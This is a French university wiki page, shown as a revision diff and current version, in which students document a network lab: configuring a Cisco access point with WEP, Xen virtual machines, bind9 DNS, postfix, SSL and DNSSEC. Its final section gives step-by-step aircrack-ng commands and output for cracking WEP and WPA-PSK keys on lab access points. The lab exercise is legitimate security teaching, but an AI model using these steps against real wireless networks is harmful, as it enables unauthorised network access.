TP sysres IMA2a5 2016/2017 G4 : Différence entre versions

De Wiki de Projets IMA
 
(38 révisions intermédiaires par le même utilisateur non affichées)
Ligne 1 : Ligne 1 :
{| class="wikitable centre" width="100%"
+
<TABLE BORDER="1">
|+ Tableau
+
  <CAPTION> Récapitulatif des IP </CAPTION>
|-
+
  <TR>
! scope=col | N° VLAN
+
<TH> N° VLAN </TH>
! scope=col | Prénom
+
<TH> Prénom </TH>
! scope=col | Réseau local
+
<TH> Réseau local </TH>
! scope=col | Nom VM
+
<TH> Nom VM </TH>
! scope=col | @IP VM  
+
<TH> @IP VM </TH>
|-
+
  </TR>
| VLAN20      
+
  <TR>
| Dimitri        
+
<TD> VLAN20 </TD>
| 10.60.20.0/24
+
<TD> Dimitri </TD>
| Vald
+
<TD> 10.60.20.0/24 </TD>
|193.48.57.182/28
+
<TD> Vald </TD>
|-
+
<TD> 193.48.57.182/28 </TD>
|VLAN21          
+
  </TR>
| Nabil        
+
  <TR>
| 10.60.21.0/24
+
<TD> VLAN21 </TD>
| Pnl
+
<TD> Nabil </TD>
|193.48.57.177/28
+
<TD> 10.60.21.0/24 </TD>
|-
+
<TD> Pnl </TD>
| VLAN22
+
<TD> 193.48.57.177/28 </TD>
| Otmane            
+
  </TR>
| 10.60.22.0/24
+
  <TR>
| Lartiste
+
<TD> VLAN22 </TD>
| 193.48.57.178/28
+
<TD> Otmane </TD>
|-
+
<TD> 10.60.22.0/24 </TD>
| VLAN23   
+
<TD> Lartiste </TD>
| Hugo              
+
<TD> 193.48.57.178/28 </TD>
| 10.60.23.0/24  
+
  </TR>
| Gradur
+
  <TR>
| 193.48.57.179/28
+
<TD> VLAN23 </TD>
|-
+
  <TD> Hugo </TD>
| VLAN24  
+
<TD> 10.60.23.0/24 </TD>
| Clement            
+
<TD> Gradur </TD>
| 10.60.24.0/24  
+
<TD> 193.48.57.179/28 </TD>
| Gringe
+
  </TR>
| 193.48.57.180/28
+
<TR>
|-
+
<TD> VLAN24 </TD>
| VLAN25  
+
<TD> Clement </TD>
| Joan          
+
<TD> 10.60.24.0/24 </TD>
| 10.60.25.0/24  
+
<TD> Gringe </TD>
| Orelsan
+
<TD> 193.48.57.180/28 </TD>
| 193.48.57.181/28
+
  </TR>
|}
+
<TR>
 +
<TD> VLAN25 </TD>
 +
<TD> Joan </TD>
 +
<TD> 10.60.25.0/24 </TD>
 +
<TD> Orelsan </TD>
 +
<TD> 193.48.57.181/28 </TD>
 +
  </TR>
 +
</TABLE>
  
== Configuration du point d'accés Cisco ==
+
 
 +
== Configuration du point d'accès Cisco ==
 +
 
 +
On vient dans un premier temps brancher le point d'accès Cisco et à l'aide de la commande ci-dessous, on trouve sur quel port USB se trouve notre point d'accès
 +
<pre>dmesg | grep tty</pre>
 +
 
 +
Pour configurer notre Cisco, on utilise <i>minicom -os</i> et pour cela nous devons être en root
 +
 
 +
Une fois minicom lancé, on vient changer les paramètres de notre Cisco
 +
 
 +
<pre>A - Serial Device          : /dev/ttyUSB0
 +
B - Lockfile Location      : /var/lock
 +
C - Callin Program          :
 +
D - Callout Program        :
 +
E - Bps/Par/Bits            : 9600 8N1
 +
F - Hardware Flow Control  : No
 +
G - Software Flow Control  : No
 +
</pre>
 +
 +
On se connecte en admin sur le Cisco
 +
<Pre>enable
 +
config terminal
 +
</pre>
 +
 
 +
Configuration du SSID
 +
<pre>dot11 ssid MAMENE
 +
authentication open
 +
guest-mode
 +
</pre>
 +
 
 +
Configuraiton de l'interface Dot11Radio0
 +
<pre>
 +
interface Dot11Radio0
 +
encryption key 1 size 40bit 7 A3C2590B73A0 transmit-key
 +
encryption mode wep mandatory
 +
</pre>
 +
 
 +
Pour permettre l'accès à notre Cisco par adresse mac, on va chercher l'adresse mac des ordinateurs et venir les ajouter dans la liste d'accès de notre point d'accès
 +
<pre>access-list 701 permit 5cb9.0180.a039  0000.0000.0000
 +
access-list 701 permit 3ca8.2a7a.05c5  0000.0000.0000
 +
access-list 701 permit 7429.aff3.fd91  0000.0000.0000
 +
access-list 701 permit 5cb9.0180.a139  0000.0000.0000</pre>
 +
 
 +
== Installation d'une machine virtuelle ==
 +
L'installation s'effectuée à l'aide du logiciel de virtualisation Xen. Nous ne possédons qu'un seul serveur pour 6. C'est pour cela qu'on passe par la création d'une machine virtuelle pour que chacun puisse réaliser un serveur DNS, Apache sur sa machine virtuelle.
 +
Pour créer la machine virtuelle, on tape la commande suivante :
 +
<pre> xen-create-image --hostname Orelsan --ip 193.48.57.181 --netmask 255.255.255.240 --dir /usr/local/xen</pre>
 +
 
 +
Entre deux séances de TP, nous avons eu un changement de version du kernel Linux. De ce fait il a fallu modifier le fichier <i>orelsan.cfg</i> en remplaçant la version 3.14 en 3.16.0
 +
<pre> kernel      = '/boot/vmlinuz-3.16.0-4-amd64'
 +
extra      = 'elevator=noop'
 +
ramdisk    = '/boot/initrd.img-3.16.0-4-amd64'</pre>
 +
 
 +
Lancement de notre machine virtuelle
 +
<pre> xl create Orelsan.cvg </pre>
 +
 
 +
Connexion à notre machine virtuelle
 +
<pre> xl console Orelsan </pre>
 +
 
 +
On peut également voir la liste de toutes les machines virtuelles ouvertes avec :
 +
<pre> xl list </pre>
 +
 
 +
Une fois la connexion sur notre machine établie, nous devons changer le fichier <i>interfaces</i> pour permettre une connexion à internet:
 +
<pre># The loopback network interface
 +
auto lo
 +
iface lo inet loopback
 +
 
 +
# The primary network interface
 +
auto eth0
 +
iface eth0 inet static
 +
        address 193.48.57.181
 +
        netmask 255.255.255.240
 +
        gateway 193.48.57.190</pre>
 +
 
 +
Puis pour prendre en compte ses modifications nous utilisons :
 +
<pre>ifdown
 +
ifup</pre>
 +
 
 +
Après un reboot de notre machine virtuelle, nous pouvons ainsi installer différents packages comme :
 +
<pre> apt-get install vim </pre>
 +
 
 +
 
 +
== Configuration du service internet ==
 +
Pour cela, il nous faut réaliser un serveur DNS qui permet de lier un nom de domaine à une adresse IP. Ainsi qu'un serveur Apache qui est un serveur HTTP
 +
 
 +
=== Installation du serveur HTTP ===
 +
<pre> apt-get install apache2 </pre>
 +
=== Installation du serveur DNS ===
 +
<pre> apt-get install bind9 </pre>
 +
 
 +
Si cette installation vous indique une erreur, il faut modifier le fichier  <i>/etc/apt/apt.conf.d/01proxy</i>
 +
et remplacer
 +
<pre> Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128"; </pre>
 +
par
 +
<pre> Acquire::http::Proxy "http://helfaut.escaut.net:3128"; </pre>
 +
Cette modification est dû à la modification du proxy de l'école.
 +
 
 +
===Configuration de notre nom de domaine===
 +
 
 +
Après l'achat de notre nom de domaine <i>orelsan.website</i> sur www.gandi.net on vient modifier le glue records pour lier notre adresse IP au nom de domaine
 +
dns.orelsan.webiste -> 193.48.57.181
 +
Ensuite on se rend dans l'onglet modifier les DNS et on change le DNS indiquer par celui vu juste précédemment.
 +
Puis nous allons modifier 3 fichiers :
 +
 
 +
<i>/etc/bind/named.conf.options</i>
 +
<pre>options {
 +
  allow-transfer { "allowed_to_transfer"; };
 +
};
 +
 
 +
acl "allowed_to_transfer" {
 +
  217.70.177.40/32 ; //passerelle de gandi  par defaut
 +
};</pre>
 +
<i>/etc/bind/named.conf.local </i>
 +
<pre>//
 +
// Do any local configuration here
 +
//
 +
 
 +
// Consider adding the 1918 zones here, if they are not used in your
 +
// organization
 +
//include "/etc/bind/zones.rfc1918";
 +
 
 +
zone "orelsan.website" {
 +
  type master;
 +
  file "/etc/bind/orelsan.website/orelsan";
 +
};
 +
</pre>
 +
<i>/etc/bind/orelsan.website/orelsan</i>
 +
<pre>$TTL 259200
 +
@ IN SOA dns postmaster.orelsan.website. (
 +
        20              ; Version
 +
        7200            ; Refresh (2h)
 +
        3600            ; Retry  (1h)
 +
        1209600          ; Expire (14j)
 +
        259200 )        ; Minimum TTL (3j)
 +
        IN NS dns
 +
        IN NS ns6.gandi.net.
 +
        IN A      193.48.57.181
 +
        IN MX      100 dns
 +
 
 +
dns    IN A      193.48.57.181
 +
</pre>
 +
 
 +
Pour prendre en compte les paramètres changés dans les fichiers ci-dessous, il suffit d'effectuer les commandes:
 +
<pre>service bind9 stop
 +
service bind9 start</pre>
 +
 
 +
Pour observer le bon fonctionnement de notre serveur, on peut visualiser les informations sur
 +
 
 +
<i>cat /var/log/daemon.log</i>
 +
 
 +
Puis un ping de notre page internet peut nous montrer également son bon fonctionnement
 +
Si tout cela fonctionne on peut se rendre sur notre page.
 +
Pour modifier les informations visibles sur la page, il suffit d'aller dans
 +
<i>/var/www/html/index.html</i>. Toutes les informations écrites dans ce fichier seront visible sur notre page.
 +
 
 +
===Installation boite mail===
 +
 
 +
On commence par installer postfix qui est un serveur de messagerie électronique.
 +
<pre>apt-get install postfix</pre>
 +
 
 +
Une fois postfix installé, on indique le nom de domaine (orelsan.website) dans la configuration
 +
 
 +
Dans <i>/etc/aliases</i> on ajoute:
 +
<pre>admin:root</pre>
 +
 
 +
Puis on utilise la commande
 +
<pre>newaliases</pre>
 +
 
 +
On installe également bsd-mailx qui est un agent de courriel utilisateur simple.
 +
<pre>apt-get install bsd-mailx</pre>
 +
 
 +
Et pour observer nos mails, on tape la commande <i>mail</i> dans la console.
 +
L'adresse mail est admin@orelsan.website.
 +
 
 +
===Générer une demande de certificat en SHA 2===
 +
<pre>openssl req -nodes -newkey rsa:2048 -sha256 -keyout monserveur.key -out serveur.csr
 +
 
 +
Country Name (2 letter code) [AU]:fr
 +
State or Province Name (full name) [Some-State]:North
 +
Locality Name (eg, city) []:Lille
 +
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
 +
Organizational Unit Name (eg, section) []:IMA
 +
Common Name (e.g. server FQDN or YOUR name) []:orelsan.website
 +
Email Address []:admin@orelsan.website
 +
 
 +
Please enter the following 'extra' attributes
 +
to be sent with your certificate request
 +
A challenge password []:
 +
An optional company name []:
 +
</pre>
 +
 
 +
Cette fonction nous crée 2 fichiers :
 +
monserveur.key serveur.csr
 +
 
 +
-monserveur.key contient la clé privée.
 +
 
 +
-serveur.csr contient la clé public.
 +
 
 +
On va maintenant ajouter la clé public sur gandi pour qu'il nous génère un certificat.
 +
On crée 2 fichier avec :
 +
 
 +
-inter.crt qui contient le certificat intermédiaire.
 +
 
 +
-gandi.crt qui qui contient le certificat.
 +
 
 +
<pre>root@Orelsan:~# ls
 +
gandi.crt  inter.crt  mbox  monserveur.key  serveur.csr</pre>
 +
 
 +
Dans le fichier <i>/etc/apache2/sites-enabled/000-default.conf</i> on écrit:
 +
<pre><VirtualHost *:443>
 +
 
 +
        ServerName www.orelsan.website
 +
        ServerAlias orelsan.website
 +
        DocumentRoot /var/www/html
 +
        CustomLog /var/log/apache2/secure_access.log combined
 +
 
 +
        SSLEngine on
 +
SLCertificateFile /root/gandi.crt
 +
        SSLCertificateKeyFile /root/monserveur.key
 +
        SSLCertificateChainFile /root/inter.crt
 +
SSLVerifyClient None
 +
</VirtualHost></pre>
 +
 
 +
=== DNSSEC ===
 +
 
 +
Dans un premier temps, nous ajoutons l'option ci-dessous dans le fichier <i>named.conf.options</i>
 +
<pre>dnssec-enable yes </pre>
 +
 
 +
Dans un répertoire, nous créons d'abord la clé asymétrique de signature puis celle de zone :
 +
<pre>dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE orelsan.website
 +
dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE orelsan.website
 +
</pre>
 +
 
 +
Après avoir renommé les noms de nos clés, nous ajoutons dans notre fichier de zone
 +
<pre>$include /etc/bind/orelsan.website.dnssec/orelsan.website-ksk.key
 +
$include /etc/bind/orelsan.website.dnssec/orelsan.website-zsk.key </pre>
 +
 
 +
et pour signer les enregistrements de la zone, nous utilisons la commande :
 +
<pre>dnssec-signzone -o orelsan.website -k orelsan.website-ksk ../orelsan.website/orelsan orelsan.website-zsk</pre>
 +
 
 +
== Cassage clé ==
 +
Pour le crackage de clé, nous allons utiliser le package aircrack-ng qui est un ensemble d'outils permettant de tester la sécurité d'un réseau
 +
=== Cassage de clé WEP ===
 +
Commençons par detecter notre interface wifi par le biais d'un
 +
<pre>ifconfig</pre>
 +
ou
 +
<pre>iwconfig</pre>
 +
 
 +
Notre interface est wlan2 qui correspond à la clé wifi ajoutée sur l'ordinateur.
 +
 
 +
Nous pouvons ainsi commencer à utiliser les outils de aircrack en debutant par
 +
<pre>airmon-ng start wlan2 </pre>
 +
Cette commande permet de mettre en mode moniteur notre interface wifi
 +
Si tout se passe correctement, vous allez voir apparaitre
 +
<pre>creation du mon0
 +
 
 +
Interface Chipset Driver
 +
 
 +
mon0 Ralink RT2870/3070 rt2800usb - [phy1]
 +
wlan0 Broadcom wl - [phy0]
 +
wlan2 Ralink RT2870/3070 rt2800usb - [phy1]
 +
(monitor mode enabled on mon1)
 +
</pre>
 +
Nous observons bien que le mode moniteur est activé pour notre wlan2.
 +
 
 +
Nous pouvons observer tous les réseaux grâce à la commande
 +
<pre>airodump-ng wlan2</pre>
 +
 
 +
Une fois que nous avons repéré  la cracotte que nous voulons cracker on refait un airodump pour se focaliser sur cette cracotte
 +
<pre>airodump-ng  wlan2 -c 8 -essid cracotte03 --bssid 04:DA:D2:9C:50:52 -w crack</pre>
 +
 
 +
-c permet de le selectrionner le channel de communication
 +
-w le nom du fichier dans lequel airodump va enregistrer les données
 +
--bssid permet d'indiquer l'adresse mac de la cible
 +
--essid permet d'indique le ssid de la cible (nom du réseau)
 +
 
 +
<pre>CH  8 ][ Elapsed: 1 min ][ 2016-11-21 15:08                                       
 +
                                                                                                                                   
 +
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
 +
                                                                                                                                   
 +
04:DA:D2:9C:50:52  -41  45      799    53316  506  8  54e. WEP  WEP        cracotte03                                           
 +
                                                                                                                                   
 +
BSSID              STATION            PWR  Rate    Lost    Frames  Probe                                                         
 +
                                                                                                                                   
 +
04:DA:D2:9C:50:52  00:0F:B5:92:23:6A  -28  54e-54e  222    60221</pre> 
 +
 
 +
On peut visualiser le nombre de paquets qui transit.
 +
Pour permettre le crackage de la clé WEP, un nombre de data important est nécessaire. Pour obtenir plus de data, nous pouvons utiliser la commande aireplay dans un autre terminal.
 +
<pre>root@Piranha:/home/pifou#aireplay-ng -1 0 -e cracotte03 -a 04:DA:D2:9C:50:52 wlan2
 +
No source MAC (-h) specified. Using the device MAC (40:A5:EF:05:AA:25)
 +
15:00:01  Waiting for beacon frame (BSSID: 04:DA:D2:9C:50:51) on channel 8
 +
 
 +
15:00:01  Sending Authentication Request (Open System)
 +
 
 +
15:00:03  Sending Authentication Request (Open System)
 +
 
 +
15:00:05  Sending Authentication Request (Open System) [ACK]
 +
15:00:05  Authentication successful
 +
15:00:05  Sending Association Request [ACK]
 +
15:00:05  Association successful :-) (AID: 1) </pre>
 +
 
 +
Et tout en laissant airodump ouvert sur un terminal, on vient trouver la clé WEP en utilisant la commande ci-dessous dans un autre terminal
 +
<pre>root@Piranha:/home/pifou#aircrack-ng crack.cap
 +
                                                            Aircrack-ng 1.2 beta3
 +
 
 +
 
 +
                                            [00:00:39] Tested 257766 keys (got 32866 IVs)
 +
 
 +
  KB    depth  byte(vote)
 +
    0    0/  1  EE(46080) B9(39936) 70(39680) B2(39168) 86(38656) 11(38400) B4(38400) F2(38400) A1(38144) 24(37632)
 +
    1    0/  1  EE(45824) 11(44544) 7B(42240) 05(40960) 93(40448) C4(40448) EE(40448) 1C(39168) 3E(39168) 42(38912)
 +
    2    0/  1  EE(45568) 36(42240) 6A(42240) 0D(40192) DC(39680) 98(39424) F3(39424) 39(39168) 3E(38912) B6(38656)
 +
    3    0/  1  EE(48640) 11(43520) 61(40448) E6(40448) 00(38912) 9C(38656) EF(38656) 30(38400) B7(38400) 2A(38144)
 +
    4    0/  1  EE(42240) 77(40960) AA(39936) 86(39424) F2(39168) FE(39168) 95(38912) 69(38656) 73(38656) AF(38656)
 +
    5    1/  2  EE(42752) A2(41728) 34(41216) 46(40448) 0B(39680) 50(39424) 6C(39168) BA(39168) 7D(38912) 66(38656)
 +
    6    0/  1  EE(44032) 8D(43264) 9F(40960) A0(40960) 74(40704) 17(40448) 91(39936) 66(39424) 5A(39168) C4(38912)
 +
    7    0/  1  EE(44032) 36(40192) 4D(39680) 3D(39168) BF(39168) EC(38912) 9D(38656) EF(38656) A9(38400) B4(38144)
 +
    8    0/  1  EE(48128) 35(40448) C1(39680) 9E(39424) F3(39424) C8(39168) 36(38656) 2E(38144) 7A(38144) C5(38144)
 +
    9    0/  1  EE(45312) 74(42496) E7(40960) 6C(40192) 28(39936) 1B(39680) AF(39680) 71(38656) 44(38400) 2C(37888)
 +
  10    3/  1  62(39424) BC(39424) 48(39168) 56(38912) AF(38912) 23(38400) 98(38400) A7(38144) 2B(37888) 79(37888)
 +
  11    5/  1  68(38656) E9(38656) F9(38656) 1E(38400) 36(38400) 5A(38144) 92(38144) 5C(37888) 87(37888) CB(37888)
 +
  12    0/  2  79(40780) 62(40380) 4D(40156) 85(39388) DE(39280) 4E(39060) 98(38876) A7(38544) 6A(38432) 82(38144)
 +
 
 +
            KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:E4:44 ]
 +
Decrypted correctly: 100%</pre>
 +
 
 +
=== Cassage de clé WPA-PSK ===
 +
Le cassage de clé WPA est légèrement diffèrent de celui WEP. Nous utilisons les mêmes outils (aircrack-ng) mais nous devons fournir un dictionnaire avec tous les mots de passe. Dans notre cas, nous avons décidé de prendre une clé de 8 chiffres.
 +
Nous utilisons pour commencer
 +
<pre>airmon-ng start wlan2 </pre>
 +
Puis
 +
<pre>airodump-ng --encrypt wpa mon0 -c 6 -w Poney --bssid 30:5A:3A:15:F6:3F</pre>
 +
--encrypt permet de sélectionner le type d'encryption souhaité.
 +
<pre> CH  6 ][ Elapsed: 2 mins ][ 2016-11-21 16:18 ][ WPA handshake: 30:5A:3A:15:F6:3F                                       
 +
                                                                                                                                   
 +
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
 +
                                                                                                                                   
 +
30:5A:3A:15:F6:3F  -34 100      738    1323  26  6  54e  WPA2 CCMP  PSK  Poneyus                                               
 +
                                                                                                                                   
 +
BSSID              STATION            PWR  Rate    Lost    Frames  Probe                                                         
 +
                                                                                                                                   
 +
30:5A:3A:15:F6:3F  74:29:AF:F3:FD:91  -16    1e- 1    75      265                                                                 
 +
30:5A:3A:15:F6:3F  04:DB:56:3D:FD:A2  -40    0e- 0e  4709    1367 </pre>
 +
 
 +
Un appareil doit se connecter sur notre réseau pour pouvoir avoir l'option <i>handshake</i>
 +
 
 +
et nous pouvons utiliser la commande
 +
<pre> aircrack-ng Poney.cap dico.txt</pre>
 +
Cette commande va tester chaque mot de passe 1 par 1 présent dans notre fichier dico.txt
 +
Et au bout d'une heure nous parvenons à retrouver la clé WPA .
 +
 
 +
<pre>                                Aircrack-ng 1.2 beta3
 +
 
 +
 
 +
                  [01:01:16] 2857196 keys tested (792.44 k/s)
 +
 
 +
 
 +
                          KEY FOUND! [ 02857193 ]
 +
 
 +
 
 +
      Master Key    : E7 06 15 6B 6D BA 3F 42 AD 01 AF 05 DC A3 81 14
 +
                      D0 1A 64 4A B9 B3 C4 0B CF 4A 87 6F 80 FE 54 88
 +
 
 +
      Transient Key  : D1 40 F8 7B 0A 2E 00 9B DC 2D DE AD 1A 7A 19 07
 +
                      C5 D1 25 0C F3 18 3A 48 25 31 B0 57 40 93 41 30
 +
                      21 37 82 9F 56 2A 1A 97 F2 35 F3 F9 BC AF 42 14
 +
                      22 4B 49 EA 0A 2A 90 21 C9 F4 C0 13 80 1E 76 B2
 +
 
 +
      EAPOL HMAC    : B2 1E E7 D3 78 D6 1A 5F C8 36 63 E7 81 8B EE D1 </pre>

Version actuelle datée du 6 décembre 2016 à 11:38

Récapitulatif des IP
N° VLAN Prénom Réseau local Nom VM @IP VM
VLAN20 Dimitri 10.60.20.0/24 Vald 193.48.57.182/28
VLAN21 Nabil 10.60.21.0/24 Pnl 193.48.57.177/28
VLAN22 Otmane 10.60.22.0/24 Lartiste 193.48.57.178/28
VLAN23 Hugo 10.60.23.0/24 Gradur 193.48.57.179/28
VLAN24 Clement 10.60.24.0/24 Gringe 193.48.57.180/28
VLAN25 Joan 10.60.25.0/24 Orelsan 193.48.57.181/28


Configuration du point d'accès Cisco

On vient dans un premier temps brancher le point d'accès Cisco et à l'aide de la commande ci-dessous, on trouve sur quel port USB se trouve notre point d'accès

dmesg | grep tty

Pour configurer notre Cisco, on utilise minicom -os et pour cela nous devons être en root

Une fois minicom lancé, on vient changer les paramètres de notre Cisco

A - Serial Device           : /dev/ttyUSB0
B - Lockfile Location       : /var/lock 
C - Callin Program          :
D - Callout Program         :
E - Bps/Par/Bits            : 9600 8N1
F - Hardware Flow Control   : No
G - Software Flow Control   : No

On se connecte en admin sur le Cisco

enable
config terminal

Configuration du SSID

dot11 ssid MAMENE
authentication open
guest-mode

Configuraiton de l'interface Dot11Radio0

interface Dot11Radio0
encryption key 1 size 40bit 7 A3C2590B73A0 transmit-key
encryption mode wep mandatory

Pour permettre l'accès à notre Cisco par adresse mac, on va chercher l'adresse mac des ordinateurs et venir les ajouter dans la liste d'accès de notre point d'accès

access-list 701 permit 5cb9.0180.a039   0000.0000.0000
access-list 701 permit 3ca8.2a7a.05c5   0000.0000.0000
access-list 701 permit 7429.aff3.fd91   0000.0000.0000
access-list 701 permit 5cb9.0180.a139   0000.0000.0000

Installation d'une machine virtuelle

L'installation s'effectuée à l'aide du logiciel de virtualisation Xen. Nous ne possédons qu'un seul serveur pour 6. C'est pour cela qu'on passe par la création d'une machine virtuelle pour que chacun puisse réaliser un serveur DNS, Apache sur sa machine virtuelle. Pour créer la machine virtuelle, on tape la commande suivante :

 xen-create-image --hostname Orelsan --ip 193.48.57.181 --netmask 255.255.255.240 --dir /usr/local/xen

Entre deux séances de TP, nous avons eu un changement de version du kernel Linux. De ce fait il a fallu modifier le fichier orelsan.cfg en remplaçant la version 3.14 en 3.16.0

 kernel      = '/boot/vmlinuz-3.16.0-4-amd64'
 extra       = 'elevator=noop'
 ramdisk     = '/boot/initrd.img-3.16.0-4-amd64'

Lancement de notre machine virtuelle

 xl create Orelsan.cvg 

Connexion à notre machine virtuelle

 xl console Orelsan 

On peut également voir la liste de toutes les machines virtuelles ouvertes avec :

 xl list 

Une fois la connexion sur notre machine établie, nous devons changer le fichier interfaces pour permettre une connexion à internet:

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
        address 193.48.57.181
        netmask 255.255.255.240
        gateway 193.48.57.190

Puis pour prendre en compte ses modifications nous utilisons :

ifdown
ifup

Après un reboot de notre machine virtuelle, nous pouvons ainsi installer différents packages comme :

 apt-get install vim 


Configuration du service internet

Pour cela, il nous faut réaliser un serveur DNS qui permet de lier un nom de domaine à une adresse IP. Ainsi qu'un serveur Apache qui est un serveur HTTP

Installation du serveur HTTP

 apt-get install apache2 

Installation du serveur DNS

 apt-get install bind9 

Si cette installation vous indique une erreur, il faut modifier le fichier /etc/apt/apt.conf.d/01proxy et remplacer

 Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128"; 

par

 Acquire::http::Proxy "http://helfaut.escaut.net:3128"; 

Cette modification est dû à la modification du proxy de l'école.

Configuration de notre nom de domaine

Après l'achat de notre nom de domaine orelsan.website sur www.gandi.net on vient modifier le glue records pour lier notre adresse IP au nom de domaine dns.orelsan.webiste -> 193.48.57.181 Ensuite on se rend dans l'onglet modifier les DNS et on change le DNS indiquer par celui vu juste précédemment. Puis nous allons modifier 3 fichiers :

/etc/bind/named.conf.options

options {
   allow-transfer { "allowed_to_transfer"; };
 };

acl "allowed_to_transfer" {
   217.70.177.40/32 ; //passerelle de gandi  par defaut
 };

/etc/bind/named.conf.local

//
// Do any local configuration here
//

// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

 zone "orelsan.website" {
   type master;
   file "/etc/bind/orelsan.website/orelsan";
 };

/etc/bind/orelsan.website/orelsan

$TTL 259200
@ IN SOA dns postmaster.orelsan.website. (
        20               ; Version
        7200             ; Refresh (2h)
        3600             ; Retry   (1h)
        1209600          ; Expire (14j)
        259200 )         ; Minimum TTL (3j)
         IN NS dns
         IN NS ns6.gandi.net.
         IN A       193.48.57.181
         IN MX      100 dns

dns     IN A       193.48.57.181

Pour prendre en compte les paramètres changés dans les fichiers ci-dessous, il suffit d'effectuer les commandes:

service bind9 stop
service bind9 start

Pour observer le bon fonctionnement de notre serveur, on peut visualiser les informations sur

cat /var/log/daemon.log

Puis un ping de notre page internet peut nous montrer également son bon fonctionnement Si tout cela fonctionne on peut se rendre sur notre page. Pour modifier les informations visibles sur la page, il suffit d'aller dans /var/www/html/index.html. Toutes les informations écrites dans ce fichier seront visible sur notre page.

Installation boite mail

On commence par installer postfix qui est un serveur de messagerie électronique.

apt-get install postfix

Une fois postfix installé, on indique le nom de domaine (orelsan.website) dans la configuration

Dans /etc/aliases on ajoute:

admin:root

Puis on utilise la commande

newaliases

On installe également bsd-mailx qui est un agent de courriel utilisateur simple.

apt-get install bsd-mailx

Et pour observer nos mails, on tape la commande mail dans la console. L'adresse mail est admin@orelsan.website.

Générer une demande de certificat en SHA 2

openssl req -nodes -newkey rsa:2048 -sha256 -keyout monserveur.key -out serveur.csr

Country Name (2 letter code) [AU]:fr
State or Province Name (full name) [Some-State]:North
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:orelsan.website
Email Address []:admin@orelsan.website

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

Cette fonction nous crée 2 fichiers : monserveur.key serveur.csr

-monserveur.key contient la clé privée.

-serveur.csr contient la clé public.

On va maintenant ajouter la clé public sur gandi pour qu'il nous génère un certificat. On crée 2 fichier avec :

-inter.crt qui contient le certificat intermédiaire.

-gandi.crt qui qui contient le certificat.

root@Orelsan:~# ls
gandi.crt  inter.crt  mbox  monserveur.key  serveur.csr

Dans le fichier /etc/apache2/sites-enabled/000-default.conf on écrit:

<VirtualHost *:443>

        ServerName www.orelsan.website
        ServerAlias orelsan.website
        DocumentRoot /var/www/html
        CustomLog /var/log/apache2/secure_access.log combined

        SSLEngine on
	SLCertificateFile /root/gandi.crt
        SSLCertificateKeyFile /root/monserveur.key
        SSLCertificateChainFile /root/inter.crt
	SSLVerifyClient None
</VirtualHost>

DNSSEC

Dans un premier temps, nous ajoutons l'option ci-dessous dans le fichier named.conf.options

dnssec-enable yes 

Dans un répertoire, nous créons d'abord la clé asymétrique de signature puis celle de zone :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE orelsan.website 
dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE orelsan.website

Après avoir renommé les noms de nos clés, nous ajoutons dans notre fichier de zone

$include /etc/bind/orelsan.website.dnssec/orelsan.website-ksk.key
$include /etc/bind/orelsan.website.dnssec/orelsan.website-zsk.key 

et pour signer les enregistrements de la zone, nous utilisons la commande :

dnssec-signzone -o orelsan.website -k orelsan.website-ksk ../orelsan.website/orelsan orelsan.website-zsk

Cassage clé

Pour le crackage de clé, nous allons utiliser le package aircrack-ng qui est un ensemble d'outils permettant de tester la sécurité d'un réseau

Cassage de clé WEP

Commençons par detecter notre interface wifi par le biais d'un

ifconfig

ou

iwconfig

Notre interface est wlan2 qui correspond à la clé wifi ajoutée sur l'ordinateur.

Nous pouvons ainsi commencer à utiliser les outils de aircrack en debutant par

airmon-ng start wlan2 

Cette commande permet de mettre en mode moniteur notre interface wifi Si tout se passe correctement, vous allez voir apparaitre

creation du mon0

Interface	Chipset		Driver

mon0		Ralink RT2870/3070	rt2800usb - [phy1]
wlan0		Broadcom	wl - [phy0]
wlan2		Ralink RT2870/3070	rt2800usb - [phy1]
				(monitor mode enabled on mon1)

Nous observons bien que le mode moniteur est activé pour notre wlan2.

Nous pouvons observer tous les réseaux grâce à la commande

airodump-ng wlan2

Une fois que nous avons repéré la cracotte que nous voulons cracker on refait un airodump pour se focaliser sur cette cracotte

airodump-ng  wlan2 -c 8 -essid cracotte03 --bssid 04:DA:D2:9C:50:52 -w crack

-c permet de le selectrionner le channel de communication -w le nom du fichier dans lequel airodump va enregistrer les données --bssid permet d'indiquer l'adresse mac de la cible --essid permet d'indique le ssid de la cible (nom du réseau)

CH  8 ][ Elapsed: 1 min ][ 2016-11-21 15:08                                         
                                                                                                                                     
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                     
 04:DA:D2:9C:50:52  -41  45      799    53316  506   8  54e. WEP  WEP         cracotte03                                             
                                                                                                                                     
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                           
                                                                                                                                     
 04:DA:D2:9C:50:52  00:0F:B5:92:23:6A  -28   54e-54e   222    60221

On peut visualiser le nombre de paquets qui transit. Pour permettre le crackage de la clé WEP, un nombre de data important est nécessaire. Pour obtenir plus de data, nous pouvons utiliser la commande aireplay dans un autre terminal.

root@Piranha:/home/pifou#aireplay-ng -1 0 -e cracotte03 -a 04:DA:D2:9C:50:52 wlan2
No source MAC (-h) specified. Using the device MAC (40:A5:EF:05:AA:25)
15:00:01  Waiting for beacon frame (BSSID: 04:DA:D2:9C:50:51) on channel 8

15:00:01  Sending Authentication Request (Open System)

15:00:03  Sending Authentication Request (Open System)

15:00:05  Sending Authentication Request (Open System) [ACK]
15:00:05  Authentication successful
